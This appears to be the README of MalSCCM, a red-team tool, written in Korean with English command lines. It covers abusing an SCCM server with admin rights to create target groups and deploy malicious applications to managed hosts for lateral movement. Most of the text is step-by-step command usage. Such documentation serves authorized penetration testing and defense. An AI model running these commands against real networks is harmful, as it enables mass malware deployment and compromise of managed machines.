nettitude/malsccmSCCM 서버를 악용하여 관리 호스트에 악성 애플리케이션을 배포하고, 측면 이동 및 레드팀 작전을 수행합니다.
이 도구를 사용하면 로컬 또는 원격 SCCM 서버를 악용하여 관리하는 호스트에 악성 애플리케이션을 배포할 수 있습니다. 이 도구를 사용하려면 현재 프로세스가 SCCM 서버에 대한 관리자 권한을 가지고 있어야 합니다.
일반적으로 SCCM 배포에서는 관리 서버와 기본 서버가 동일한 호스트에 있거나, locate 명령에서 반환된 호스트를 기본 서버로 사용할 수 있습니다.
그렇지 않은 경우 locate로 반환된 관리 호스트를 손상시켜 해당 호스트에서 locate를 다시 실행하고 기본 서버 호스트 이름을 얻어야 합니다. 일단 이를 획득하고 관리자 액세스 권한을 얻으면 준비 완료입니다!
도구 사용에 대한 자세한 정보는 아래 블로그를 참조하세요.
이 도구는 PowerSCCM (https://github.com/PowerShellMafia/PowerSCCM)을 기반으로 하며, @harmj0y, @jaredcatkinson, @enigma0x3, @mattifestation의 작업 없이는 완성될 수 없었습니다.
Commands listed below have optional parameters in <>.
Attempt to find the SCCM management and primary servers:
MalSCCM.exe locate
Inspect the primary server to gather SCCM information:
MalSCCM.exe inspect </server:PrimarySiteHostname> </all /computers /deployments /groups /applications /forest /packages /primaryusers>
Create/Modify/Delete Groups to add targets in for deploying malicious apps. Groups can either be for devices or users:
MalSCCM.exe group /create /groupname:example /grouptype:[user|device] </server:PrimarySiteHostname>
MalSCCM.exe group /delete /groupname:example </server:PrimarySiteHostname>
MalSCCM.exe group /addhost /groupname:example /host:examplehost </server:PrimarySiteHostname>
MalSCCM.exe group /adduser /groupname:example /user:exampleuser </server:PrimarySiteHostname>
Create/Deploy/Delete malicious applications:
MalSCCM.exe app /create /name:appname /uncpath:""\\unc\path"" </server:PrimarySiteHostname>
MalSCCM.exe app /delete /name:appname </server:PrimarySiteHostname>
MalSCCM.exe app /deploy /name:appname /groupname:example /assignmentname:example2 </server:PrimarySiteHostname>
MalSCCM.exe app /deletedeploy /name:appname </server:PrimarySiteHostname>
MalSCCM.exe app /cleanup /name:appname </server:PrimarySiteHostname>
Force devices of a group to checkin within a couple minutes:
MalSCCM.exe checkin /groupname:example </server:PrimarySiteHostname>